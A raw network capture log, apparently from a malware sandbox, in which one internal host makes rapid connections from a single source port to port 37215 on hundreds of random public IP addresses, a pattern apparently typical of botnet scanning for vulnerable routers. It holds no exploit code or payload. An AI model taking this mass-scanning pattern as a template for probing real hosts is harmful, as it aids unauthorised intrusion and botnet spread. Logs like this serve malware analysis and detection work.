Jan 22, 2024 03:59:21.299894094 CET	58015	37215	192.168.2.20	41.106.215.12
Jan 22, 2024 03:59:21.299906969 CET	58015	37215	192.168.2.20	95.55.31.204
Jan 22, 2024 03:59:21.299921989 CET	58015	37215	192.168.2.20	197.248.13.234
Jan 22, 2024 03:59:21.299948931 CET	58015	37215	192.168.2.20	197.83.255.3
Jan 22, 2024 03:59:21.299976110 CET	58015	37215	192.168.2.20	197.40.153.64
Jan 22, 2024 03:59:21.299976110 CET	58015	37215	192.168.2.20	41.17.159.160
Jan 22, 2024 03:59:21.299998999 CET	58015	37215	192.168.2.20	157.122.103.107
Jan 22, 2024 03:59:21.300015926 CET	58015	37215	192.168.2.20	154.86.32.204
Jan 22, 2024 03:59:21.300033092 CET	58015	37215	192.168.2.20	197.101.41.43
Jan 22, 2024 03:59:21.300051928 CET	58015	37215	192.168.2.20	197.77.110.237
Jan 22, 2024 03:59:21.300076962 CET	58015	37215	192.168.2.20	92.214.117.101
Jan 22, 2024 03:59:21.300102949 CET	58015	37215	192.168.2.20	197.87.189.61
Jan 22, 2024 03:59:21.300124884 CET	58015	37215	192.168.2.20	154.37.25.170
Jan 22, 2024 03:59:21.300146103 CET	58015	37215	192.168.2.20	156.127.68.155
Jan 22, 2024 03:59:21.300179005 CET	58015	37215	192.168.2.20	41.106.169.58
Jan 22, 2024 03:59:21.300199032 CET	58015	37215	192.168.2.20	197.91.239.211
Jan 22, 2024 03:59:21.300206900 CET	58015	37215	192.168.2.20	197.180.229.87
Jan 22, 2024 03:59:21.300213099 CET	58015	37215	192.168.2.20	41.29.59.214
Jan 22, 2024 03:59:21.300214052 CET	58015	37215	192.168.2.20	154.105.62.10
Jan 22, 2024 03:59:21.300232887 CET	58015	37215	192.168.2.20	122.156.125.17
Jan 22, 2024 03:59:21.300242901 CET	58015	37215	192.168.2.20	156.148.81.43
Jan 22, 2024 03:59:21.300260067 CET	58015	37215	192.168.2.20	154.38.18.88
Jan 22, 2024 03:59:21.300286055 CET	58015	37215	192.168.2.20	156.231.39.192
Jan 22, 2024 03:59:21.300295115 CET	58015	37215	192.168.2.20	41.20.237.213
Jan 22, 2024 03:59:21.300318956 CET	58015	37215	192.168.2.20	41.11.63.59
Jan 22, 2024 03:59:21.300331116 CET	58015	37215	192.168.2.20	107.249.59.164
Jan 22, 2024 03:59:21.300343990 CET	58015	37215	192.168.2.20	197.240.236.167
Jan 22, 2024 03:59:21.300364017 CET	58015	37215	192.168.2.20	197.103.13.238
Jan 22, 2024 03:59:21.300388098 CET	58015	37215	192.168.2.20	41.194.201.177
Jan 22, 2024 03:59:21.300405979 CET	58015	37215	192.168.2.20	107.98.164.40
Jan 22, 2024 03:59:21.300424099 CET	58015	37215	192.168.2.20	41.243.90.226
Jan 22, 2024 03:59:21.300447941 CET	58015	37215	192.168.2.20	156.192.125.205
Jan 22, 2024 03:59:21.300466061 CET	58015	37215	192.168.2.20	37.143.240.85
Jan 22, 2024 03:59:21.300478935 CET	58015	37215	192.168.2.20	197.182.168.132
Jan 22, 2024 03:59:21.300501108 CET	58015	37215	192.168.2.20	156.213.5.53
Jan 22, 2024 03:59:21.300512075 CET	58015	37215	192.168.2.20	197.183.247.20
Jan 22, 2024 03:59:21.300529957 CET	58015	37215	192.168.2.20	41.55.9.154
Jan 22, 2024 03:59:21.300553083 CET	58015	37215	192.168.2.20	94.161.45.26
Jan 22, 2024 03:59:21.300570965 CET	58015	37215	192.168.2.20	94.224.78.31
Jan 22, 2024 03:59:21.300600052 CET	58015	37215	192.168.2.20	156.166.69.124
Jan 22, 2024 03:59:21.300606012 CET	58015	37215	192.168.2.20	160.239.188.30
Jan 22, 2024 03:59:21.300621033 CET	58015	37215	192.168.2.20	102.81.177.203
Jan 22, 2024 03:59:21.300643921 CET	58015	37215	192.168.2.20	107.48.149.229
Jan 22, 2024 03:59:21.300657988 CET	58015	37215	192.168.2.20	45.82.15.223
Jan 22, 2024 03:59:21.300674915 CET	58015	37215	192.168.2.20	222.129.163.30
Jan 22, 2024 03:59:21.300704002 CET	58015	37215	192.168.2.20	197.240.0.159
Jan 22, 2024 03:59:21.300709009 CET	58015	37215	192.168.2.20	41.235.65.231
Jan 22, 2024 03:59:21.300729036 CET	58015	37215	192.168.2.20	197.123.90.38
Jan 22, 2024 03:59:21.300753117 CET	58015	37215	192.168.2.20	156.155.182.126
Jan 22, 2024 03:59:21.300764084 CET	58015	37215	192.168.2.20	107.12.193.109
Jan 22, 2024 03:59:21.300776005 CET	58015	37215	192.168.2.20	186.77.238.84
Jan 22, 2024 03:59:21.300795078 CET	58015	37215	192.168.2.20	157.180.197.81
Jan 22, 2024 03:59:21.300818920 CET	58015	37215	192.168.2.20	156.204.250.191
Jan 22, 2024 03:59:21.300837040 CET	58015	37215	192.168.2.20	156.147.193.128
Jan 22, 2024 03:59:21.300853014 CET	58015	37215	192.168.2.20	156.67.122.182
Jan 22, 2024 03:59:21.300864935 CET	58015	37215	192.168.2.20	41.149.223.131
Jan 22, 2024 03:59:21.300887108 CET	58015	37215	192.168.2.20	156.189.166.78
Jan 22, 2024 03:59:21.300898075 CET	58015	37215	192.168.2.20	156.11.18.25
Jan 22, 2024 03:59:21.300925016 CET	58015	37215	192.168.2.20	197.83.183.176
Jan 22, 2024 03:59:21.300932884 CET	58015	37215	192.168.2.20	197.212.13.209
Jan 22, 2024 03:59:21.300950050 CET	58015	37215	192.168.2.20	156.248.85.121
Jan 22, 2024 03:59:21.300966978 CET	58015	37215	192.168.2.20	197.97.182.198
Jan 22, 2024 03:59:21.300983906 CET	58015	37215	192.168.2.20	156.76.5.87
Jan 22, 2024 03:59:21.301008940 CET	58015	37215	192.168.2.20	186.122.220.86
Jan 22, 2024 03:59:21.301023960 CET	58015	37215	192.168.2.20	197.63.181.191
Jan 22, 2024 03:59:21.301043987 CET	58015	37215	192.168.2.20	107.83.206.85
Jan 22, 2024 03:59:21.301070929 CET	58015	37215	192.168.2.20	156.121.28.78
Jan 22, 2024 03:59:21.301085949 CET	58015	37215	192.168.2.20	41.99.103.23
Jan 22, 2024 03:59:21.301095009 CET	58015	37215	192.168.2.20	156.191.64.250
Jan 22, 2024 03:59:21.301105976 CET	58015	37215	192.168.2.20	156.204.42.112
Jan 22, 2024 03:59:21.301130056 CET	58015	37215	192.168.2.20	160.129.113.77
Jan 22, 2024 03:59:21.301141024 CET	58015	37215	192.168.2.20	156.122.137.125
Jan 22, 2024 03:59:21.301167011 CET	58015	37215	192.168.2.20	156.205.235.186
Jan 22, 2024 03:59:21.301182032 CET	58015	37215	192.168.2.20	156.38.208.119
Jan 22, 2024 03:59:21.301198959 CET	58015	37215	192.168.2.20	156.151.93.207
Jan 22, 2024 03:59:21.301219940 CET	58015	37215	192.168.2.20	92.248.93.76
Jan 22, 2024 03:59:21.301237106 CET	58015	37215	192.168.2.20	156.207.20.76
Jan 22, 2024 03:59:21.301261902 CET	58015	37215	192.168.2.20	156.25.195.163
Jan 22, 2024 03:59:21.301270008 CET	58015	37215	192.168.2.20	156.87.227.166
Jan 22, 2024 03:59:21.301291943 CET	58015	37215	192.168.2.20	181.78.81.97
Jan 22, 2024 03:59:21.301297903 CET	58015	37215	192.168.2.20	41.87.31.207
Jan 22, 2024 03:59:21.301323891 CET	58015	37215	192.168.2.20	41.151.255.38
Jan 22, 2024 03:59:21.301333904 CET	58015	37215	192.168.2.20	196.79.58.161
Jan 22, 2024 03:59:21.301347017 CET	58015	37215	192.168.2.20	41.88.125.83
Jan 22, 2024 03:59:21.301368952 CET	58015	37215	192.168.2.20	190.174.131.239
Jan 22, 2024 03:59:21.301386118 CET	58015	37215	192.168.2.20	197.163.113.101
Jan 22, 2024 03:59:21.301403999 CET	58015	37215	192.168.2.20	41.186.199.205
Jan 22, 2024 03:59:21.301428080 CET	58015	37215	192.168.2.20	196.101.168.229
Jan 22, 2024 03:59:21.301445961 CET	58015	37215	192.168.2.20	41.254.184.38
Jan 22, 2024 03:59:21.301455975 CET	58015	37215	192.168.2.20	156.4.121.38
Jan 22, 2024 03:59:21.301479101 CET	58015	37215	192.168.2.20	197.215.255.46
Jan 22, 2024 03:59:21.301490068 CET	58015	37215	192.168.2.20	156.14.166.154
Jan 22, 2024 03:59:21.301516056 CET	58015	37215	192.168.2.20	41.42.144.253
Jan 22, 2024 03:59:21.301539898 CET	58015	37215	192.168.2.20	156.233.39.245
Jan 22, 2024 03:59:21.301551104 CET	58015	37215	192.168.2.20	156.71.209.121
Jan 22, 2024 03:59:21.301567078 CET	58015	37215	192.168.2.20	157.137.238.225
Jan 22, 2024 03:59:21.301578999 CET	58015	37215	192.168.2.20	197.122.193.22
Jan 22, 2024 03:59:21.301590919 CET	58015	37215	192.168.2.20	156.197.28.178
Jan 22, 2024 03:59:21.301620007 CET	58015	37215	192.168.2.20	222.190.200.148
Jan 22, 2024 03:59:21.301637888 CET	58015	37215	192.168.2.20	122.77.137.245
Jan 22, 2024 03:59:21.301650047 CET	58015	37215	192.168.2.20	156.2.82.221
Jan 22, 2024 03:59:21.301673889 CET	58015	37215	192.168.2.20	41.152.133.193
Jan 22, 2024 03:59:21.301685095 CET	58015	37215	192.168.2.20	45.37.39.35
Jan 22, 2024 03:59:21.301706076 CET	58015	37215	192.168.2.20	41.140.111.66
Jan 22, 2024 03:59:21.301726103 CET	58015	37215	192.168.2.20	197.154.9.136
Jan 22, 2024 03:59:21.301753044 CET	58015	37215	192.168.2.20	197.50.68.140
Jan 22, 2024 03:59:21.301753044 CET	58015	37215	192.168.2.20	41.199.171.64
Jan 22, 2024 03:59:21.301774979 CET	58015	37215	192.168.2.20	160.62.43.255
Jan 22, 2024 03:59:21.301794052 CET	58015	37215	192.168.2.20	156.2.156.216
Jan 22, 2024 03:59:21.301809072 CET	58015	37215	192.168.2.20	197.115.17.203
Jan 22, 2024 03:59:21.301821947 CET	58015	37215	192.168.2.20	45.243.5.221
Jan 22, 2024 03:59:21.301848888 CET	58015	37215	192.168.2.20	156.154.124.62
Jan 22, 2024 03:59:21.301866055 CET	58015	37215	192.168.2.20	197.161.232.71
Jan 22, 2024 03:59:21.301882982 CET	58015	37215	192.168.2.20	156.254.106.70
Jan 22, 2024 03:59:21.301914930 CET	58015	37215	192.168.2.20	197.154.134.76
Jan 22, 2024 03:59:21.301927090 CET	58015	37215	192.168.2.20	197.0.19.93
Jan 22, 2024 03:59:21.301927090 CET	58015	37215	192.168.2.20	197.68.129.54
Jan 22, 2024 03:59:21.301950932 CET	58015	37215	192.168.2.20	190.8.243.35
Jan 22, 2024 03:59:21.301964045 CET	58015	37215	192.168.2.20	41.98.129.243
Jan 22, 2024 03:59:21.301986933 CET	58015	37215	192.168.2.20	156.16.64.25
Jan 22, 2024 03:59:21.302011013 CET	58015	37215	192.168.2.20	107.67.177.11
Jan 22, 2024 03:59:21.302018881 CET	58015	37215	192.168.2.20	157.111.107.73
Jan 22, 2024 03:59:21.302032948 CET	58015	37215	192.168.2.20	156.118.233.94
Jan 22, 2024 03:59:21.302052975 CET	58015	37215	192.168.2.20	156.10.239.248
Jan 22, 2024 03:59:21.302074909 CET	58015	37215	192.168.2.20	92.98.37.218
Jan 22, 2024 03:59:21.302089930 CET	58015	37215	192.168.2.20	41.196.121.45
Jan 22, 2024 03:59:21.302114964 CET	58015	37215	192.168.2.20	41.74.175.121
Jan 22, 2024 03:59:21.302123070 CET	58015	37215	192.168.2.20	156.52.70.145
Jan 22, 2024 03:59:21.302145958 CET	58015	37215	192.168.2.20	197.205.249.145
Jan 22, 2024 03:59:21.302160978 CET	58015	37215	192.168.2.20	95.214.201.220
Jan 22, 2024 03:59:21.302177906 CET	58015	37215	192.168.2.20	197.146.219.47
Jan 22, 2024 03:59:21.302194118 CET	58015	37215	192.168.2.20	92.250.43.168
Jan 22, 2024 03:59:21.302212954 CET	58015	37215	192.168.2.20	41.185.230.40
Jan 22, 2024 03:59:21.302232981 CET	58015	37215	192.168.2.20	196.35.144.206
Jan 22, 2024 03:59:21.302246094 CET	58015	37215	192.168.2.20	41.215.21.118
Jan 22, 2024 03:59:21.302264929 CET	58015	37215	192.168.2.20	41.211.199.149
Jan 22, 2024 03:59:21.302278996 CET	58015	37215	192.168.2.20	94.231.245.229
Jan 22, 2024 03:59:21.302292109 CET	58015	37215	192.168.2.20	197.168.97.199
Jan 22, 2024 03:59:21.302309990 CET	58015	37215	192.168.2.20	41.171.49.25
Jan 22, 2024 03:59:21.302333117 CET	58015	37215	192.168.2.20	197.9.38.146
Jan 22, 2024 03:59:21.302356005 CET	58015	37215	192.168.2.20	122.193.60.182
Jan 22, 2024 03:59:21.302361012 CET	58015	37215	192.168.2.20	197.130.163.175
Jan 22, 2024 03:59:21.302376032 CET	58015	37215	192.168.2.20	156.13.44.7
Jan 22, 2024 03:59:21.302402973 CET	58015	37215	192.168.2.20	156.207.214.137
Jan 22, 2024 03:59:21.302428007 CET	58015	37215	192.168.2.20	156.130.113.203
Jan 22, 2024 03:59:21.302432060 CET	58015	37215	192.168.2.20	197.183.94.107
Jan 22, 2024 03:59:21.302444935 CET	58015	37215	192.168.2.20	197.187.135.211
Jan 22, 2024 03:59:21.302465916 CET	58015	37215	192.168.2.20	41.172.166.68
Jan 22, 2024 03:59:21.302489996 CET	58015	37215	192.168.2.20	156.229.54.41
Jan 22, 2024 03:59:21.302500010 CET	58015	37215	192.168.2.20	41.254.116.6
Jan 22, 2024 03:59:21.302524090 CET	58015	37215	192.168.2.20	197.225.185.32
Jan 22, 2024 03:59:21.302541018 CET	58015	37215	192.168.2.20	197.230.116.200
Jan 22, 2024 03:59:21.302560091 CET	58015	37215	192.168.2.20	222.250.158.246
Jan 22, 2024 03:59:21.302576065 CET	58015	37215	192.168.2.20	197.147.76.27
Jan 22, 2024 03:59:21.302587986 CET	58015	37215	192.168.2.20	197.245.124.243
Jan 22, 2024 03:59:21.302612066 CET	58015	37215	192.168.2.20	95.213.76.59
Jan 22, 2024 03:59:21.302623034 CET	58015	37215	192.168.2.20	190.57.116.237
Jan 22, 2024 03:59:21.302638054 CET	58015	37215	192.168.2.20	41.90.121.190
Jan 22, 2024 03:59:21.302666903 CET	58015	37215	192.168.2.20	45.77.88.196
Jan 22, 2024 03:59:21.302676916 CET	58015	37215	192.168.2.20	197.79.157.15
Jan 22, 2024 03:59:21.302701950 CET	58015	37215	192.168.2.20	160.210.213.52
Jan 22, 2024 03:59:21.302716970 CET	58015	37215	192.168.2.20	138.145.184.175
Jan 22, 2024 03:59:21.302728891 CET	58015	37215	192.168.2.20	156.186.55.130
Jan 22, 2024 03:59:21.302756071 CET	58015	37215	192.168.2.20	196.181.45.227
Jan 22, 2024 03:59:21.302764893 CET	58015	37215	192.168.2.20	156.210.26.206
Jan 22, 2024 03:59:21.302789927 CET	58015	37215	192.168.2.20	41.233.254.17
Jan 22, 2024 03:59:21.302805901 CET	58015	37215	192.168.2.20	197.47.105.117
Jan 22, 2024 03:59:21.302817106 CET	58015	37215	192.168.2.20	197.36.110.171
Jan 22, 2024 03:59:21.302840948 CET	58015	37215	192.168.2.20	41.110.145.65
Jan 22, 2024 03:59:21.302865982 CET	58015	37215	192.168.2.20	156.39.7.106
Jan 22, 2024 03:59:21.302876949 CET	58015	37215	192.168.2.20	197.9.10.97
Jan 22, 2024 03:59:21.302896976 CET	58015	37215	192.168.2.20	156.160.184.4
Jan 22, 2024 03:59:21.302911043 CET	58015	37215	192.168.2.20	197.94.101.54
Jan 22, 2024 03:59:21.302922964 CET	58015	37215	192.168.2.20	197.176.77.99
Jan 22, 2024 03:59:21.302947998 CET	58015	37215	192.168.2.20	156.55.28.210
Jan 22, 2024 03:59:21.302959919 CET	58015	37215	192.168.2.20	160.87.193.156
Jan 22, 2024 03:59:21.302975893 CET	58015	37215	192.168.2.20	197.151.187.185
Jan 22, 2024 03:59:21.302999973 CET	58015	37215	192.168.2.20	197.139.35.215
Jan 22, 2024 03:59:21.303010941 CET	58015	37215	192.168.2.20	122.105.218.190
Jan 22, 2024 03:59:21.303034067 CET	58015	37215	192.168.2.20	197.141.192.5
Jan 22, 2024 03:59:21.303050041 CET	58015	37215	192.168.2.20	94.187.6.30
Jan 22, 2024 03:59:21.303061008 CET	58015	37215	192.168.2.20	41.154.204.162
Jan 22, 2024 03:59:21.303076982 CET	58015	37215	192.168.2.20	197.73.156.32
Jan 22, 2024 03:59:21.303105116 CET	58015	37215	192.168.2.20	156.100.159.22
Jan 22, 2024 03:59:21.303121090 CET	58015	37215	192.168.2.20	197.196.119.211
Jan 22, 2024 03:59:21.303138971 CET	58015	37215	192.168.2.20	222.34.42.73
Jan 22, 2024 03:59:21.303150892 CET	58015	37215	192.168.2.20	92.182.190.30
Jan 22, 2024 03:59:21.303167105 CET	58015	37215	192.168.2.20	181.229.90.77
Jan 22, 2024 03:59:21.303194046 CET	58015	37215	192.168.2.20	197.74.20.197
Jan 22, 2024 03:59:21.303201914 CET	58015	37215	192.168.2.20	41.109.41.102
Jan 22, 2024 03:59:21.303225994 CET	58015	37215	192.168.2.20	222.220.159.205
Jan 22, 2024 03:59:21.303239107 CET	58015	37215	192.168.2.20	41.47.66.149
Jan 22, 2024 03:59:21.303276062 CET	58015	37215	192.168.2.20	41.151.25.36
Jan 22, 2024 03:59:21.303277969 CET	58015	37215	192.168.2.20	41.77.65.222
Jan 22, 2024 03:59:21.303296089 CET	58015	37215	192.168.2.20	41.185.54.25
Jan 22, 2024 03:59:21.303319931 CET	58015	37215	192.168.2.20	156.102.185.255
Jan 22, 2024 03:59:21.303329945 CET	58015	37215	192.168.2.20	196.221.27.147
Jan 22, 2024 03:59:21.303349018 CET	58015	37215	192.168.2.20	156.149.232.114
Jan 22, 2024 03:59:21.303363085 CET	58015	37215	192.168.2.20	41.51.25.175
Jan 22, 2024 03:59:21.303376913 CET	58015	37215	192.168.2.20	138.246.113.25
Jan 22, 2024 03:59:21.303392887 CET	58015	37215	192.168.2.20	197.218.40.186
Jan 22, 2024 03:59:21.303415060 CET	58015	37215	192.168.2.20	197.13.227.128
Jan 22, 2024 03:59:21.303427935 CET	58015	37215	192.168.2.20	122.202.111.246
Jan 22, 2024 03:59:21.303452015 CET	58015	37215	192.168.2.20	160.18.193.139
Jan 22, 2024 03:59:21.303467989 CET	58015	37215	192.168.2.20	197.178.33.4
Jan 22, 2024 03:59:21.303493023 CET	58015	37215	192.168.2.20	156.52.200.69
Jan 22, 2024 03:59:21.303507090 CET	58015	37215	192.168.2.20	156.188.192.131
Jan 22, 2024 03:59:21.303517103 CET	58015	37215	192.168.2.20	41.120.163.115
Jan 22, 2024 03:59:21.303545952 CET	58015	37215	192.168.2.20	41.162.159.126
Jan 22, 2024 03:59:21.303555965 CET	58015	37215	192.168.2.20	122.123.34.41
Jan 22, 2024 03:59:21.303575039 CET	58015	37215	192.168.2.20	156.175.193.198
Jan 22, 2024 03:59:21.303592920 CET	58015	37215	192.168.2.20	156.243.112.69
Jan 22, 2024 03:59:21.303608894 CET	58015	37215	192.168.2.20	197.101.214.67
Jan 22, 2024 03:59:21.303630114 CET	58015	37215	192.168.2.20	156.155.249.253
Jan 22, 2024 03:59:21.303638935 CET	58015	37215	192.168.2.20	41.229.13.204
Jan 22, 2024 03:59:21.303656101 CET	58015	37215	192.168.2.20	41.162.187.20
Jan 22, 2024 03:59:21.303680897 CET	58015	37215	192.168.2.20	95.116.202.27
Jan 22, 2024 03:59:21.303698063 CET	58015	37215	192.168.2.20	197.64.122.172
Jan 22, 2024 03:59:21.303716898 CET	58015	37215	192.168.2.20	156.67.96.182
Jan 22, 2024 03:59:21.303726912 CET	58015	37215	192.168.2.20	190.227.68.112
Jan 22, 2024 03:59:21.303750038 CET	58015	37215	192.168.2.20	156.178.157.216
Jan 22, 2024 03:59:21.303769112 CET	58015	37215	192.168.2.20	197.17.138.183
Jan 22, 2024 03:59:21.303793907 CET	58015	37215	192.168.2.20	156.128.173.88
Jan 22, 2024 03:59:21.303802967 CET	58015	37215	192.168.2.20	197.162.174.118
Jan 22, 2024 03:59:21.303812981 CET	58015	37215	192.168.2.20	102.211.46.244
Jan 22, 2024 03:59:21.303831100 CET	58015	37215	192.168.2.20	197.17.145.9
Jan 22, 2024 03:59:21.303853989 CET	58015	37215	192.168.2.20	41.141.218.19
Jan 22, 2024 03:59:21.303873062 CET	58015	37215	192.168.2.20	94.163.13.38
Jan 22, 2024 03:59:21.303889036 CET	58015	37215	192.168.2.20	41.144.117.40
Jan 22, 2024 03:59:21.303914070 CET	58015	37215	192.168.2.20	197.240.163.214
Jan 22, 2024 03:59:21.303925991 CET	58015	37215	192.168.2.20	197.153.218.16
Jan 22, 2024 03:59:21.303941965 CET	58015	37215	192.168.2.20	37.118.187.63
Jan 22, 2024 03:59:21.303961992 CET	58015	37215	192.168.2.20	197.208.41.80
Jan 22, 2024 03:59:21.303977013 CET	58015	37215	192.168.2.20	197.67.112.169
Jan 22, 2024 03:59:21.303994894 CET	58015	37215	192.168.2.20	41.86.133.169
Jan 22, 2024 03:59:21.304009914 CET	58015	37215	192.168.2.20	122.17.80.223
Jan 22, 2024 03:59:21.304030895 CET	58015	37215	192.168.2.20	181.149.39.81
Jan 22, 2024 03:59:21.304042101 CET	58015	37215	192.168.2.20	95.118.173.93
Jan 22, 2024 03:59:21.304069996 CET	58015	37215	192.168.2.20	41.135.94.248
Jan 22, 2024 03:59:21.304080963 CET	58015	37215	192.168.2.20	138.36.85.239
Jan 22, 2024 03:59:21.304092884 CET	58015	37215	192.168.2.20	196.61.71.212
Jan 22, 2024 03:59:21.304110050 CET	58015	37215	192.168.2.20	156.42.137.93
Jan 22, 2024 03:59:21.304132938 CET	58015	37215	192.168.2.20	197.243.223.1
Jan 22, 2024 03:59:21.304151058 CET	58015	37215	192.168.2.20	41.55.189.8
Jan 22, 2024 03:59:21.304174900 CET	58015	37215	192.168.2.20	41.30.211.253
Jan 22, 2024 03:59:21.304186106 CET	58015	37215	192.168.2.20	156.92.10.18
Jan 22, 2024 03:59:21.304209948 CET	58015	37215	192.168.2.20	41.117.4.247
Jan 22, 2024 03:59:21.304222107 CET	58015	37215	192.168.2.20	156.26.234.5
Jan 22, 2024 03:59:21.304231882 CET	58015	37215	192.168.2.20	41.206.166.123
Jan 22, 2024 03:59:21.304255009 CET	58015	37215	192.168.2.20	156.90.251.75
Jan 22, 2024 03:59:21.304274082 CET	58015	37215	192.168.2.20	41.28.51.192
Jan 22, 2024 03:59:21.304284096 CET	58015	37215	192.168.2.20	181.76.3.32
Jan 22, 2024 03:59:21.304302931 CET	58015	37215	192.168.2.20	197.160.137.14
Jan 22, 2024 03:59:21.304326057 CET	58015	37215	192.168.2.20	41.29.137.213
Jan 22, 2024 03:59:21.304352045 CET	58015	37215	192.168.2.20	197.118.5.13
Jan 22, 2024 03:59:21.304361105 CET	58015	37215	192.168.2.20	41.185.210.153
Jan 22, 2024 03:59:21.304372072 CET	58015	37215	192.168.2.20	181.47.68.34
Jan 22, 2024 03:59:21.304394007 CET	58015	37215	192.168.2.20	156.178.173.14
Jan 22, 2024 03:59:21.304419994 CET	58015	37215	192.168.2.20	120.174.42.236
Jan 22, 2024 03:59:21.304433107 CET	58015	37215	192.168.2.20	222.66.98.60
Jan 22, 2024 03:59:21.304455042 CET	58015	37215	192.168.2.20	37.165.70.48
Jan 22, 2024 03:59:21.304466009 CET	58015	37215	192.168.2.20	197.36.50.245
Jan 22, 2024 03:59:21.304482937 CET	58015	37215	192.168.2.20	197.187.252.96
Jan 22, 2024 03:59:21.304507971 CET	58015	37215	192.168.2.20	41.231.125.43
Jan 22, 2024 03:59:21.304538965 CET	58015	37215	192.168.2.20	196.122.83.222
Jan 22, 2024 03:59:21.304538965 CET	58015	37215	192.168.2.20	197.148.28.143
Jan 22, 2024 03:59:21.304558039 CET	58015	37215	192.168.2.20	197.73.217.121
Jan 22, 2024 03:59:21.304589033 CET	58015	37215	192.168.2.20	41.15.205.95
Jan 22, 2024 03:59:21.304589033 CET	58015	37215	192.168.2.20	92.250.95.210
Jan 22, 2024 03:59:21.304605007 CET	58015	37215	192.168.2.20	156.103.250.241
Jan 22, 2024 03:59:21.304616928 CET	58015	37215	192.168.2.20	160.2.253.4
Jan 22, 2024 03:59:21.304644108 CET	58015	37215	192.168.2.20	156.195.192.184
Jan 22, 2024 03:59:21.304657936 CET	58015	37215	192.168.2.20	197.132.0.47
Jan 22, 2024 03:59:21.304687023 CET	58015	37215	192.168.2.20	197.54.81.181
Jan 22, 2024 03:59:21.304693937 CET	58015	37215	192.168.2.20	197.118.252.124
Jan 22, 2024 03:59:21.304722071 CET	58015	37215	192.168.2.20	157.134.109.20
Jan 22, 2024 03:59:21.304738045 CET	58015	37215	192.168.2.20	156.16.27.71
Jan 22, 2024 03:59:21.304764032 CET	58015	37215	192.168.2.20	197.117.201.25
Jan 22, 2024 03:59:21.304780006 CET	58015	37215	192.168.2.20	197.7.61.71
Jan 22, 2024 03:59:21.304802895 CET	58015	37215	192.168.2.20	197.7.40.169
Jan 22, 2024 03:59:21.304824114 CET	58015	37215	192.168.2.20	156.249.251.37
Jan 22, 2024 03:59:21.304840088 CET	58015	37215	192.168.2.20	41.88.224.16
Jan 22, 2024 03:59:21.304857969 CET	58015	37215	192.168.2.20	122.10.229.213
Jan 22, 2024 03:59:21.304879904 CET	58015	37215	192.168.2.20	156.150.92.49
Jan 22, 2024 03:59:21.304909945 CET	58015	37215	192.168.2.20	190.122.237.90
Jan 22, 2024 03:59:21.304914951 CET	58015	37215	192.168.2.20	222.115.170.235
Jan 22, 2024 03:59:21.304935932 CET	58015	37215	192.168.2.20	94.105.39.83
Jan 22, 2024 03:59:21.304959059 CET	58015	37215	192.168.2.20	197.249.105.0
Jan 22, 2024 03:59:21.304984093 CET	58015	37215	192.168.2.20	41.170.49.40
Jan 22, 2024 03:59:21.304999113 CET	58015	37215	192.168.2.20	122.131.144.19
Jan 22, 2024 03:59:21.305011988 CET	58015	37215	192.168.2.20	186.97.115.134
Jan 22, 2024 03:59:21.305041075 CET	58015	37215	192.168.2.20	95.3.92.58
Jan 22, 2024 03:59:21.305058002 CET	58015	37215	192.168.2.20	197.154.194.155
Jan 22, 2024 03:59:21.305078983 CET	58015	37215	192.168.2.20	197.144.171.66
Jan 22, 2024 03:59:21.305099010 CET	58015	37215	192.168.2.20	160.28.159.21
Jan 22, 2024 03:59:21.305116892 CET	58015	37215	192.168.2.20	197.154.221.205
Jan 22, 2024 03:59:21.305131912 CET	58015	37215	192.168.2.20	41.150.88.14
Jan 22, 2024 03:59:21.305161953 CET	58015	37215	192.168.2.20	102.15.91.60
Jan 22, 2024 03:59:21.305175066 CET	58015	37215	192.168.2.20	197.221.169.209
Jan 22, 2024 03:59:21.305196047 CET	58015	37215	192.168.2.20	120.53.33.181
Jan 22, 2024 03:59:21.305218935 CET	58015	37215	192.168.2.20	121.52.72.255
Jan 22, 2024 03:59:21.305233002 CET	58015	37215	192.168.2.20	154.31.172.111
Jan 22, 2024 03:59:21.305254936 CET	58015	37215	192.168.2.20	197.59.46.154
Jan 22, 2024 03:59:21.305274963 CET	58015	37215	192.168.2.20	156.56.148.230
Jan 22, 2024 03:59:21.305288076 CET	58015	37215	192.168.2.20	186.56.159.86
Jan 22, 2024 03:59:21.305315971 CET	58015	37215	192.168.2.20	41.230.106.95
Jan 22, 2024 03:59:21.305325031 CET	58015	37215	192.168.2.20	41.245.215.243
Jan 22, 2024 03:59:21.305366993 CET	58015	37215	192.168.2.20	45.37.201.50
Jan 22, 2024 03:59:21.305371046 CET	58015	37215	192.168.2.20	122.55.13.207
Jan 22, 2024 03:59:21.305392027 CET	58015	37215	192.168.2.20	41.44.109.123
Jan 22, 2024 03:59:21.305423021 CET	58015	37215	192.168.2.20	41.126.133.250
Jan 22, 2024 03:59:21.305423021 CET	58015	37215	192.168.2.20	156.42.221.161
Jan 22, 2024 03:59:21.305450916 CET	58015	37215	192.168.2.20	41.27.81.110
Jan 22, 2024 03:59:21.305469990 CET	58015	37215	192.168.2.20	120.213.160.24
Jan 22, 2024 03:59:21.305490017 CET	58015	37215	192.168.2.20	41.134.251.2
Jan 22, 2024 03:59:21.305514097 CET	58015	37215	192.168.2.20	41.88.129.15
Jan 22, 2024 03:59:21.305524111 CET	58015	37215	192.168.2.20	41.193.236.165
Jan 22, 2024 03:59:21.305550098 CET	58015	37215	192.168.2.20	156.209.133.141
Jan 22, 2024 03:59:21.305568933 CET	58015	37215	192.168.2.20	41.131.179.128
Jan 22, 2024 03:59:21.305588007 CET	58015	37215	192.168.2.20	181.84.231.232
Jan 22, 2024 03:59:21.305613041 CET	58015	37215	192.168.2.20	41.20.46.192
Jan 22, 2024 03:59:21.305628061 CET	58015	37215	192.168.2.20	156.133.25.185
Jan 22, 2024 03:59:21.305644989 CET	58015	37215	192.168.2.20	138.145.32.204
Jan 22, 2024 03:59:21.305670977 CET	58015	37215	192.168.2.20	157.213.144.249
Jan 22, 2024 03:59:21.305701971 CET	58015	37215	192.168.2.20	122.85.197.20
Jan 22, 2024 03:59:21.305707932 CET	58015	37215	192.168.2.20	94.173.26.25
Jan 22, 2024 03:59:21.305718899 CET	58015	37215	192.168.2.20	92.99.230.43
Jan 22, 2024 03:59:21.305747986 CET	58015	37215	192.168.2.20	156.8.252.113
Jan 22, 2024 03:59:21.305767059 CET	58015	37215	192.168.2.20	41.224.99.240
Jan 22, 2024 03:59:21.305778980 CET	58015	37215	192.168.2.20	197.248.30.55
Jan 22, 2024 03:59:21.305804014 CET	58015	37215	192.168.2.20	160.209.80.155
Jan 22, 2024 03:59:21.305826902 CET	58015	37215	192.168.2.20	160.9.199.129
Jan 22, 2024 03:59:21.305839062 CET	58015	37215	192.168.2.20	156.132.172.111
